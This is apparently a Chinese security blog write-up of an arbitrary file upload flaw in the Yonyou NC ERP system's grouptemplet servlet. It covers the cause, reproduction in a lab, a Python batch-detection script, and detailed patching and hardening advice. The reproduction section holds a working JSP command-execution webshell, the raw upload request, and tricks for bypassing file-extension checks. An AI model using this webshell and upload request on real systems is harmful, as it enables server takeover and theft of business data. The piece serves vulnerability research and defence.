用友NC grouptemplet任意文件上传漏洞深度剖析与实战复现 1. 项目概述从一次内部资产梳理到高危漏洞的发现最近在帮一个客户做内部资产的安全评估他们的核心业务系统里有一套用友NC。熟悉企业级应用的朋友都知道用友NC作为一款老牌的ERP系统在国内很多中大型企业里都扮演着财务、供应链、人力资源管理的核心角色历史久、模块多、代码量巨大。这类系统一旦出问题往往意味着企业的核心业务数据甚至资金流面临直接风险。在梳理对外服务端口时我注意到了/uapws/service这个典型的NC WebService入口一个念头闪过这种老牌系统历史包袱重会不会存在一些“祖传”的、未被妥善修复的通用型漏洞顺着这个思路结合公开的漏洞情报和补丁分析我把目标锁定在了grouptemplet这个组件上。果不其经过一番测试成功复现并验证了一个影响多个NC版本的任意文件上传漏洞。这个漏洞的利用门槛不高但危害极大攻击者可以直接上传WebShell进而控制服务器。更关键的是由于NC系统通常部署在内网核心区域一旦被突破攻击者就能以此为跳板横向渗透整个内网。今天我就把这个漏洞的来龙去脉、完整的复现过程、批量验证的思路以及最重要的——修复和防御建议毫无保留地分享出来。无论你是安全工程师、运维人员还是对企业安全感兴趣的朋友这篇文章都能给你带来直接的参考价值。2. 漏洞原理深度剖析grouptemplet接口的权限之殇要理解这个漏洞我们得先拆解一下grouptemplet这个功能是干什么的。在用友NC的体系里“GroupTemplet”通常与“集团模板”或“报表模板”的管理相关。系统管理员或特定权限的用户可以通过这个功能上传一些预定义的模板文件比如Excel格式的报表模板方便其他用户下载使用。从设计上讲这个功能本身是合理的业务需求。2.1 核心漏洞点缺失的校验链条漏洞的根源在于负责处理文件上传的grouptemplet相关接口具体Servlet路径可能因版本略有差异常见如/servlet/~ic/group.templet.GroupTempletServlet或类似路径在实现上存在严重的校验缺失。一个安全的文件上传功能至少应该包含以下几层校验身份认证与权限校验确认当前请求的用户是否有权限执行上传操作。文件类型校验检查上传文件的扩展名、MIME类型是否在白名单允许范围内如只允许.xls,.xlsx,.doc等。文件内容校验对文件内容进行检测防止通过伪造文件头等方式绕过扩展名校验。文件存储路径安全确保上传的文件被保存在非Web可访问目录或至少对其重命名避免直接通过URL访问。而存在漏洞的grouptemplet接口恰恰在上述多个环节失守。根据分析和复现其主要问题表现为权限校验旁路该接口可能未与NC统一且复杂的权限体系进行严格绑定或者在某个历史版本中权限检查逻辑存在缺陷导致低权限用户甚至未授权访问者也能调用上传功能。文件类型校验缺失或可绕过接口可能完全没有检查Content-Type或文件扩展名或者仅在前端通过JavaScript进行了脆弱的校验后端并未做实质性拦截。攻击者可以轻易地将一个包含恶意代码的JSP文件修改其HTTP请求包伪装成合法的模板文件进行上传。存储路径可预测且Web可达上传后的文件往往被直接存放在Web应用的某个子目录下如/uapweb/groupTemplet/并且保留了原始文件名或使用了可预测的命名规则。这使得攻击者能够直接构造URL访问上传的恶意脚本。注意这里需要特别强调不同NC版本如NC 6.5, NC 6.3, NC 63等的具体漏洞触发路径、参数名可能有所不同。有些版本可能需要特定的模块如“协同”模块启用有些则存在于更通用的组件中。但漏洞的根源模式是相似的一个本该受控的文件上传点因为校验不全而暴露在外。2.2 漏洞利用的影响与危害评估成功利用此漏洞攻击者可以实现“任意文件上传”最直接的利用方式就是上传一个JSP格式的WebShell。一旦WebShell被上传并可通过URL访问就意味着攻击者获得了该Web服务器进程权限下的命令执行能力。结合用友NC通常以较高权限如system或root运行的特点危害等级被评定为“高危”或“严重”毫不为过。具体危害链如下服务器沦陷获取服务器Shell可任意读、写、删除文件。数据泄露直接访问数据库配置文件通常位于WEB-INF目录或应用配置中窃取核心的财务、人事、客户等商业数据。内网横向移动以NC服务器为跳板利用其内网信任关系进一步攻击数据库服务器、域控制器或其他核心业务系统。持久化后门在服务器上植入远控木马、创建隐藏账户实现长期控制。业务中断篡改或删除业务数据、停止服务造成直接经济损失。3. 漏洞复现与环境搭建为了清晰地演示漏洞原理和利用过程我们需要一个测试环境。重要声明以下所有操作必须在您拥有完全控制权的授权测试环境如本地搭建的靶场、虚拟机中进行严禁对任何未授权的系统进行测试否则将构成违法行为。3.1 测试环境准备我选择在本地虚拟机中搭建一个用友NC 6.5的测试环境。之所以选这个版本是因为它在不少企业中仍有部署且相关漏洞信息相对公开便于教学演示。操作系统Windows Server 2012 R2 或 Windows 10/11需关闭防火墙或配置规则。中间件用友NC通常自带或要求使用IBM WebSphere、Oracle WebLogic或金蝶Apusic但为了简化很多测试环境也使用Tomcat。这里我使用Tomcat 8.5作为Servlet容器。数据库Oracle 11g 或 MySQL 5.7根据NC版本要求选择。NC安装包从官方渠道或授权的测试资源获取对应版本的安装包。安装过程较为复杂涉及数据库初始化、中间件部署、NC应用部署与配置等此处不展开。关键点是确保NC应用能正常启动并通过浏览器访问到登录页面。3.2 手工复现漏洞利用步骤假设我们的NC测试环境地址是http://192.168.1.100:8080。漏洞复现的核心是构造一个能绕过校验的HTTP请求将WebShell上传到服务器。步骤一准备WebShell首先准备一个简单的JSP WebShell。创建一个文本文件命名为shell.jsp内容如下% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本通过cmd参数接收系统命令并执行将结果输出到网页。在实际攻击中攻击者会使用更隐蔽、功能更强大的WebShell。步骤二定位上传接口并分析请求通过搜索引擎、漏洞公告或目录扫描工具如dirsearch我们可以找到可能存在漏洞的接口路径。例如一个典型的漏洞路径可能是http://192.168.1.100:8080/uapws/service/~ic/group.templet.GroupTempletServlet?actionupload我们需要使用Burp Suite或类似的HTTP代理工具来拦截和重放请求。打开浏览器配置代理指向Burp Suite。尝试在NC系统中找到与“模板管理”、“上传模板”相关的功能点进行操作并拦截请求。如果找不到前端入口则直接使用工具向疑似接口发送POST请求进行探测。步骤三构造恶意上传请求这是最关键的一步。我们需要模拟一个合法的文件上传请求但将文件内容替换为我们的shell.jsp。使用Burp Suite的Repeater模块构造一个类似如下的HTTP请求POST /uapws/service/~ic/group.templet.GroupTempletServlet?actionupload HTTP/1.1 Host: 192.168.1.100:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: */* Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABCDEFG123456 Content-Length: [计算后的长度] Connection: close ------WebKitFormBoundaryABCDEFG123456 Content-Disposition: form-data; namefile; filenametest.jsp Content-Type: application/octet-stream [这里是shell.jsp文件的完整二进制内容] ------WebKitFormBoundaryABCDEFG123456--请求构造要点分析Content-Type必须设置为multipart/form-data并定义正确的边界boundary。filename参数这是尝试绕过的关键点之一。即使后端有简单的扩展名检查我们也可以尝试双扩展名如test.jsp.xls、空字节截断在某些老版本中如test.jsp%00.jpg、大小写混淆test.Jsp等技巧。在本漏洞中通常直接使用.jsp即可。文件内容需要将shell.jsp的完整代码放在请求体中。步骤四发送请求并验证上传结果发送构造好的请求。如果漏洞存在服务器通常会返回一个包含上传成功信息的JSON或XML响应其中可能包含文件的存储路径或文件名。 例如响应可能为{success:true, filePath:/uapweb/groupTemplet/20240527_112233.jsp}步骤五访问WebShell执行命令根据返回的路径直接在浏览器中访问上传的WebShell并传递cmd参数执行命令http://192.168.1.100:8080/uapweb/groupTemplet/20240527_112233.jsp?cmdwhoami如果页面返回了服务器当前用户的身份如nt authority\system则证明漏洞利用成功服务器已完全失陷。实操心得在实际测试中直接使用/uapws/service这个根路径去拼接漏洞路径是常见思路。但有些版本的NC其接口路径可能藏在更深的目录或者需要特定的module参数。多翻看NC的Web应用目录结构WEB-INF/web.xml有助于发现更多可疑的Servlet映射。另外Burp Suite的Intruder模块可以用于对路径和参数进行模糊测试效率更高。4. 批量验证POC的编写思路与实现在安全巡检或渗透测试中我们往往需要快速验证一批目标系统是否存在某个特定漏洞。手工一个个去测效率太低这时就需要编写一个批量验证的脚本Proof of Concept, POC。4.1 POC设计逻辑一个健壮的批量验证POC其核心逻辑应该清晰且具备容错性输入从一个文本文件targets.txt中读取目标URL列表每行一个格式如http://ip:port。探测对每个目标构造特定的漏洞验证HTTP请求并发送。判断分析服务器返回的HTTP状态码、响应头、响应体内容根据预定义的规则判断漏洞是否存在。输出将验证结果目标URL、是否存在漏洞、漏洞证明信息如WebShell路径清晰输出到屏幕和结果文件。对于本漏洞一个相对可靠的验证逻辑是不采用真正上传WebShell为了避免对目标系统造成实际影响和法律责任我们的POC不应该上传真实的可执行脚本。而是上传一个无害的、包含特定标记的文本文件。验证上传功能是否可用尝试上传一个内容为特定字符串如VULN_TEST_加时间戳的.txt文件。验证文件是否可访问如果上传接口返回了文件路径则立即尝试通过HTTP GET访问该路径。二次确认如果访问成功并且返回的内容中包含我们上传的特定字符串则判定为存在漏洞。4.2 Python POC脚本示例以下是一个使用Pythonrequests库编写的简化版批量验证POC脚本它遵循了上述安全设计逻辑#!/usr/bin/env python3 # -*- coding: utf-8 -*- # 用友NC grouptemplet任意文件上传漏洞批量验证POC # 注意仅用于授权测试请勿用于非法用途。 import requests import sys import time from urllib.parse import urljoin requests.packages.urllib3.disable_warnings() # 忽略SSL警告 def check_vulnerability(url): 检查单个目标是否存在漏洞 # 1. 构造上传请求 upload_url urljoin(url, /uapws/service/~ic/group.templet.GroupTempletServlet) # 注意实际参数名可能需要调整如可能是‘actionuploadFile’需要根据实际情况fuzz params {action: upload} # 构造一个无害的测试文件内容 test_content fNC_VULN_TEST_{int(time.time())} files { file: (test_vuln.txt, test_content, text/plain) # 上传txt文件 } headers { User-Agent: Mozilla/5.0 (Security Test) } try: print(f[*] 正在测试: {url}) resp requests.post(upload_url, paramsparams, filesfiles, headersheaders, verifyFalse, timeout15) # 2. 解析响应寻找文件路径 # 实际情况可能返回JSON或HTML这里需要根据实际响应调整解析逻辑 # 假设成功返回JSON: {success:true, path:/groupTemplet/xxx.txt} if resp.status_code 200: # 这里是非常简化的判断真实环境需要更精细的响应分析 # 例如检查响应中是否包含‘success’、‘path’等关键字 if success in resp.text.lower() or path in resp.text.lower(): # 尝试从响应中提取路径这里需要更复杂的解析如正则匹配 # 为演示我们假设路径是固定的或可预测 # 实际上可能需要解析JSON或从响应HTML中提取 guessed_path /uapweb/groupTemplet/test_vuln.txt # 这是一个示例路径 test_file_url urljoin(url, guessed_path) # 3. 尝试访问上传的文件 get_resp requests.get(test_file_url, verifyFalse, timeout10) if get_resp.status_code 200 and test_content in get_resp.text: print(f[] 漏洞存在URL: {url}) print(f 测试文件可访问: {test_file_url}) return True, test_file_url else: # 可能路径不对或者文件不可访问 print(f[-] 疑似存在上传点但无法验证文件访问: {url}) return False, None else: print(f[-] 未发现上传成功迹象: {url}) return False, None else: print(f[-] 请求失败状态码: {resp.status_code}, 目标: {url}) return False, None except requests.exceptions.RequestException as e: print(f[!] 请求发生异常: {e}, 目标: {url}) return False, None def main(target_file): 主函数读取文件并批量测试 try: with open(target_file, r) as f: targets [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f[!] 文件不存在: {target_file}) sys.exit(1) print(f[*] 共加载 {len(targets)} 个目标) vulnerable_list [] for target in targets: is_vuln, proof check_vulnerability(target) if is_vuln: vulnerable_list.append((target, proof)) time.sleep(0.5) # 避免请求过快 # 输出最终报告 print(\n *50) print([*] 扫描完成) print(f[*] 存在漏洞的目标 ({len(vulnerable_list)} 个):) for url, proof in vulnerable_list: print(f - {url} (Proof: {proof})) # 将结果写入文件 with open(vulnerable_targets.txt, w) as f: for url, proof in vulnerable_list: f.write(f{url}\t{proof}\n) print([*] 详细结果已保存至 vulnerable_targets.txt) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: python {sys.argv[0]} targets.txt) sys.exit(0) main(sys.argv[1])脚本使用说明与注意事项将上述代码保存为nc_grouptemplet_poc.py。准备一个targets.txt文件里面每行放一个目标地址如http://192.168.1.100:8080。在命令行中运行python nc_grouptemplet_poc.py targets.txt。脚本会依次测试每个目标并将存在漏洞的目标输出到屏幕和vulnerable_targets.txt文件中。重要提醒这个示例POC是高度简化的。在实际的、未知的环境中直接使用此脚本成功率可能不高且存在法律风险。真正的漏洞利用路径、参数名、响应格式需要根据目标NC的具体版本进行逆向分析和Fuzz。编写POC的核心能力在于对HTTP协议、Web应用交互的理解以及逆向分析补丁差异。5. 漏洞修复与加固方案发现漏洞是为了修复它。对于企业运维和安全团队来说及时修复和加固远比验证漏洞更重要。5.1 紧急临时处置措施如果怀疑或确认系统存在此漏洞应立即采取以下措施网络层隔离在防火墙或WAFWeb应用防火墙上立即拦截对疑似漏洞路径如/uapws/service/~ic/group.templet.GroupTempletServlet的访问。可以设置规则禁止外部IP访问该路径或仅允许特定管理IP访问。应用层排查迅速登录服务器检查Web应用目录如uapweb/groupTemplet/下是否有可疑的、非业务相关的.jsp,.jspx,.asp等脚本文件。若发现立即备份后删除并审查服务器日志确认是否已被入侵。权限收紧检查NC应用服务器的运行账户权限确保其不是root或Administrator。遵循最小权限原则。5.2 根本性修复方案临时措施只是权宜之计根本修复需要从代码或配置层面入手。官方补丁升级这是最推荐、最彻底的方式。立即联系用友官方或查看安全公告获取针对该漏洞的官方补丁包。不同NC版本对应的补丁号不同务必确认版本号后再进行打补丁操作。打补丁前务必做好全量备份和测试。自行代码加固如果无法立即升级如果因业务原因无法立即升级可以考虑在现有代码层面进行加固但这需要开发人员介入且存在风险。定位漏洞文件找到处理grouptemplet上传的Servlet类文件如GroupTempletServlet.java或其编译后的class文件。增强校验在文件上传处理方法中强制加入以下校验权限校验调用NC统一的会话管理接口验证当前用户是否具有“模板管理”或相应模块的管理员权限。文件类型白名单严格限定允许上传的扩展名例如只允许.xls,.xlsx,.txt并同时检查文件的Content-Type。文件重命名上传后使用不可预测的命名规则如UUID对文件重命名并避免使用用户提供的原始文件名。存储目录隔离将上传的文件存储在Web根目录之外或通过一个安全的下载Servlet来提供文件访问避免直接URL映射。部署Web应用防火墙WAF在NC服务器前端部署具备虚拟补丁功能的WAF。WAF可以识别并阻断针对此类文件上传漏洞的攻击流量为修复争取时间。5.3 长期安全加固建议最小化安装在部署NC时只安装必需的模块关闭不必要的服务端口如FTP、不必要的远程管理端口。定期漏洞扫描与更新建立制度定期对NC系统进行安全漏洞扫描并关注用友官方及国家漏洞库CNVD/CNNVD发布的安全公告及时更新补丁。强化访问控制对NC管理后台的访问实施IP白名单限制并启用强密码策略和双因素认证如果NC支持。安全开发流程如果企业有二次开发需求必须将安全编码规范纳入开发流程对所有用户输入进行严格的校验和过滤。6. 常见问题与排查技巧实录在复现、验证和修复这个漏洞的过程中我踩过不少坑也总结了一些经验。6.1 复现阶段常见问题Q1按照步骤发送了上传请求但返回404或500错误可能原因A接口路径不正确。不同NC版本、不同补丁级别下Servlet的映射路径可能不同。/uapws/service是常见入口但后面的具体路径需要Fuzz。尝试使用目录扫描工具如dirsearch, gobuster扫描/uapws/、/servlet/等目录寻找包含group、templet、upload等关键词的路径。可能原因B缺少必要的参数。除了actionupload可能还需要module、func等参数。可以尝试拦截正常前端上传功能的请求包进行参考。排查技巧开启Burp Suite的代理在浏览器中尝试使用NC系统正常的模板上传功能仔细分析其发出的HTTP请求包的结构和参数然后模仿它进行构造。Q2上传返回成功但找不到上传的文件在哪里可能原因A文件被上传到了非Web可访问目录。这是最理想的情况说明有一定防护但也可能是路径不可预测。可能原因B返回的路径是相对路径或需要二次处理。仔细分析上传接口返回的JSON或HTML看其中是否包含文件ID、存储路径等信息。有时路径需要拼接基础URL。排查技巧在上传的文件内容中加入一个独特的字符串如你的邮箱前缀然后尝试在服务器上全局搜索这个字符串如果条件允许。或者在请求中尝试使用../进行路径穿越测试是否能上传到Web根目录。6.2 POC编写与批量验证中的问题Q3POC脚本在某个目标上卡住或报超时错误原因目标网络不稳定、防火墙拦截、或者目标应用响应缓慢。解决在requests请求中设置合理的timeout参数如连接超时10秒读取超时30秒并添加异常处理try...except确保一个目标失败不会导致整个脚本停止。对于大批量扫描建议引入异步IO如aiohttp或线程池来提高效率。Q4如何提高POC的准确率减少误报和漏报降低误报不要仅凭HTTP状态码200或返回包中包含某个关键词就判断漏洞存在。必须实现“上传-访问-验证内容”的闭环验证。就像上面的示例POC上传特定内容后再去访问验证。减少漏报多路径Fuzz准备一个常见的Servlet路径字典进行尝试。参数Fuzz对action、method、operate等参数名进行尝试。分析补丁如果能找到修复后的版本通过对比补丁前后的Jar包或Class文件可以精准定位到修复的代码点从而构造出最准确的检测逻辑。6.3 修复与防御中的注意事项Q5打了官方补丁后是否需要重启服务答案几乎总是需要。用友NC的补丁通常涉及Class文件或Jar包的替换这些文件在JVM运行时是加载到内存中的。替换磁盘文件后必须重启Tomcat、WebLogic等J2EE容器才能使新的补丁代码生效。务必在业务低峰期进行操作并做好回滚预案。Q6除了这个grouptemplet用友NC还有其他类似风险点吗答案是的历史经验表明风险点往往不止一个。像文件上传、文件下载、报表导出、Office控件调用等功能都是容易出问题的重灾区。例如历史上用友NC就曾曝出过FileReceiveServlet、FileUploadServlet等任意文件上传漏洞。因此不能头痛医头脚痛医脚。建议采取体系化的防护部署RASP在NC应用内部部署运行时应用自保护系统可以从内存层面监控和阻断异常的文件操作、命令执行等行为。加强日志审计启用并集中管理NC的应用日志、中间件日志和系统日志对异常访问模式如频繁访问特定Servlet、上传非常规文件类型设置告警。定期渗透测试聘请专业的安全团队或使用自动化工具定期对NC系统进行深度的安全测试主动发现潜在风险。这个漏洞的复现和分析过程再次印证了一个道理再庞大、再成熟的企业级软件也难免存在历史代码的“暗礁”。作为防御方我们必须保持警惕建立持续监控、快速响应、及时修补的安全闭环。而作为安全研究者则需要具备从模糊的线索中抽丝剥茧最终定位到关键攻击面的能力。希望这篇详细的拆解能为你理解此类漏洞提供一个清晰的蓝本。